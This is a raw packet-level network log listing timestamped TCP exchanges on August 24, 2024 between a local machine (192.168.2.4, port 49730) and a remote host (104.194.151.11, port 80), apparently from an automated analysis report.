Aug 24, 2024 12:21:58.746663094 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746692896 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746692896 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746727943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746738911 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746748924 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746759892 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746761084 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746789932 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746812105 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746870041 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746881008 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746890068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746901035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746911049 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746912003 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746922016 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746923923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746936083 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746947050 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746956110 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746958017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.746965885 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746989965 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.746998072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747003078 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747009039 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747020006 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747031927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747035027 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747042894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747045994 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747055054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747066021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747071981 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747095108 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747102022 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747143030 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747153997 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747164011 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747174978 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747184992 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747195959 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747219086 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747293949 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747304916 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747313976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747324944 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747334957 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747338057 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747347116 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747347116 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747359991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747370958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747373104 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747381926 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747390032 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747394085 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747405052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747409105 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747415066 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747427940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747431993 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747442007 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747462034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747464895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747479916 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747489929 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747499943 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747508049 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747510910 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747522116 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747533083 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747538090 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747544050 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747559071 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747562885 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747570992 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747571945 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747581005 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747591972 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747596979 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747602940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747613907 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747620106 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747625113 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747636080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747641087 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747652054 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747656107 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747663021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747673035 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747680902 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747700930 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747700930 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747713089 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747714996 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747723103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747733116 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747740984 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747745037 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747756004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747765064 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747767925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747780085 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747785091 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747791052 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747802973 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747807026 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747813940 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747813940 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747824907 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.747843981 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.747865915 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.835546017 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835558891 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835573912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835585117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835594893 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835627079 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.835637093 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835649014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835670948 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.835688114 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.835695982 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835705996 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835716009 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835726976 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835736990 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.835745096 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835755110 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835761070 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.835767031 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.835783958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.835805893 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836287022 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836297989 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836308002 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836340904 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836350918 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836358070 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836360931 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836370945 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836380959 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836391926 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836405993 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836426020 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836429119 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836437941 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836447954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836460114 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836468935 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836472988 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836489916 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836499929 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836502075 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836504936 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836535931 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836615086 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836625099 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836636066 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836646080 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836654902 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836657047 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836672068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836682081 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836684942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836694002 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836710930 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836719990 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836723089 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836733103 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836744070 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836755991 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836752892 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836766005 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836766958 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836782932 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836795092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836797953 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836822033 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836831093 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836836100 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836843014 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836870909 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836873055 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836873055 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836883068 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836903095 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836914062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.836914062 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836944103 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.836966038 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837006092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837017059 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837025881 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837035894 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837040901 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837054968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837059975 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837065935 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837083101 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837083101 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837093115 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837104082 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837106943 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837124109 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837146044 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837153912 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837194920 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837245941 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837255955 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837265968 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837275028 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837285042 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837286949 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837302923 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837321997 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837332964 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837343931 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837353945 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837363958 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837373018 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837380886 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837384939 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837392092 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837402105 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837413073 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837414980 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837424040 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837424994 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837445021 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837445974 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837460995 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837482929 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837610960 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837621927 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837631941 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837641954 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837649107 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837652922 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837663889 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837666988 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837673903 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837686062 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837691069 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837699890 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837701082 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837709904 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837728024 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837735891 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837752104 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837775946 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837794065 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837805986 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837832928 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837842941 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837867975 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837878942 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837888956 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837899923 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837908030 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837908983 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837929964 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837943077 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.837956905 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837966919 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837976933 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837987900 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837999105 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.837999105 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838011026 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838022947 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838037014 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838054895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838079929 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838090897 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838100910 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838110924 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838116884 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838123083 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838128090 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838135004 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838148117 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838149071 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838174105 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838179111 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838185072 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838185072 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838196039 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838206053 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838215113 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838223934 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838229895 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838237047 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838252068 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838279963 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.838288069 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.838327885 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.926336050 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926348925 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926361084 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926378965 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926388025 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.926390886 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926408052 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.926434994 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.926460981 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926472902 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926481962 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926502943 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.926523924 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.926609039 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926620007 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926630020 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926640987 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926651001 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926656961 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.926656961 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.926667929 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.926688910 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.926709890 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.927263021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.927308083 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.927417040 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.927428961 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.927438021 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.927448034 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.927459002 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.927459955 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.927469969 CEST	80	49730	104.194.151.11	192.168.2.4
Aug 24, 2024 12:21:58.927488089 CEST	49730	80	192.168.2.4	104.194.151.11
Aug 24, 2024 12:21:58.927501917 CEST	49730	80	192.168.2.4	104.194.151.11
